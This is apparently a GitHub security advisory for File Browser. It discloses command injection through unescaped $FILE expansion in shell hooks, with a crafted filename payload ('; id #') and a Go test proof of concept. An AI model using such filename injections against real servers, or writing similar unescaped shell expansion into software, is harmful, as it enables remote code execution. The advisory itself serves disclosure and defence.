File Browser has a Command Injection via Hook Runner

[!NOTE]
This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.

For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.

Overview

The hook system in File Browser — which executes administrator-defined shell commands on file events such as upload, rename, and delete — is vulnerable to OS command injection. Variable substitution for values like $FILE and $USERNAME is performed via os.Expand without sanitization. An attacker with file write permission can craft a malicious filename containing shell metacharacters, causing the server to execute arbitrary OS commands when the hook fires. This results in Remote Code Execution (RCE).

Affected Location

• File: runner/runner.go
• Function: Runner.exec

Technical Details

Runner.exec expands template variables inside hook command strings using os.Expand:

// runner/runner.go
envMapping := func(key string) string {
    switch key {
    case "FILE":
        return path       // attacker-controlled filename
    case "USERNAME":
        return username   // attacker-controlled username
    // ...
    }
}

for i, arg := range command {
    if i == 0 { continue }
    command[i] = os.Expand(arg, envMapping) // expands $FILE, $USERNAME, etc.
}

The expanded value is then passed as a shell argument string. os.Expand performs plain string substitution with no escaping. If an admin has configured a hook such as:

sh -c "echo created $FILE"

...and an attacker creates a file named ; id #, the variable expansion produces:

sh -c "echo created /path/to/; id #"

The ; terminates the echo command and the shell executes id with server privileges. The # character comments out the remainder, preventing syntax errors.

This pattern is exploitable across all hook events: before_upload, after_upload, before_rename, after_rename, before_delete, after_delete, etc.

Attack Scenario / Reproduction Steps

1. Admin configures an after_upload hook: sh -c "echo created $FILE".
2. The attacker (authenticated user with upload permission) uploads a file named ; id #.
3. The upload succeeds and the hook fires automatically.
4. The server executes:

   sh -c "echo created /uploads/; id #"
   

5. The id command runs, confirming RCE.

Impact

Any authenticated user with file create, upload, or rename permissions can achieve arbitrary RCE on the server when shell-based hooks are configured. The attacker does not need to know the exact hook command — any hook that embeds $FILE in a shell string is exploitable by crafting the filename accordingly.

Proof of Concept

package runner

import (
        "os"
        "testing"

        "github.com/filebrowser/filebrowser/v2/settings"
)

func TestPoC_FileHookInjection(t *testing.T) {
        // Simulate an admin-configured shell-based hook
        r := &Runner{
                Enabled: true,
                Settings: &settings.Settings{
                        Shell: []string{"sh", "-c"},
                        Commands: map[string][]string{
                                "after_upload": {"echo Uploaded $FILE"},
                        },
                },
        }

        // Malicious filename crafted by the attacker
        maliciousFilename := "/tmp/safe; id #"

        // Simulate the exec logic in runner/runner.go
        raw := r.Commands["after_upload"][0]
        command, _, _ := ParseCommand(r.Settings, raw)

        envMapping := func(key string) string {
                if key == "FILE" {
                        return maliciousFilename
                }
                return os.Getenv(key)
        }

        for i, arg := range command {
                if i == 0 {
                        continue
                }
                // os.Expand substitutes $FILE with the attacker-controlled filename —
                // no escaping is applied, so shell metacharacters pass through unchanged.
                command[i] = os.Expand(arg, envMapping)
        }

        // The resulting command argument is the injected shell script:
        // sh -c "echo Uploaded /tmp/safe; id #"
        expectedArg := "echo Uploaded /tmp/safe; id #"
        if command[2] != expectedArg {
                t.Errorf("Expected command argument %q, got %q", expectedArg, command[2])
        }

        t.Logf("Confirmed: filename injection succeeded. Shell will execute: %v", command)
}